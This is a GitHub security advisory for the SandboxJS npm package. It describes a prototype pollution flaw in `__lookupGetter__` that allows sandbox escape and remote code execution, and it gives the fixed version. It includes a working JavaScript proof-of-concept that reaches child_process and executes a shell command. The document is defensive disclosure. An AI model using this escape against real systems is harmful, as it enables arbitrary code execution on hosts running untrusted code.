GHSA-9p4w-fq8m-2hp7
SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE
Quick fix
GHSA-9p4w-fq8m-2hp7 — @nyariv/sandboxjs: upgrade to the fixed version with the command below.
npm install @nyariv/sandboxjs@0.8.27Details
### Summary
SandboxJS does not properly restrict `__lookupGetter__` which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.
### Details
https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398
The Object prototype which contains `__lookupGetter__` is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.
### PoC ```js const s = require("@nyariv/sandboxjs").default; const sb = new s();
payload = ` let getProto = Object.toString.__lookupGetter__("__proto__") let m = getProto.call(new Map()); m.has = isFinite;
console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );` sb.compile(payload)().run(); ```
### Impact Prototype Pollution -> RCE
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Affected packages
References
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-9p4w-fq8m-2hp7[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-25142[ADVISORY]
- https://github.com/nyariv/SandboxJS/commit/75c8009db32e6829b0ad92ca13bf458178442bd3[WEB]
- https://github.com/nyariv/SandboxJS[PACKAGE]
- https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398[WEB]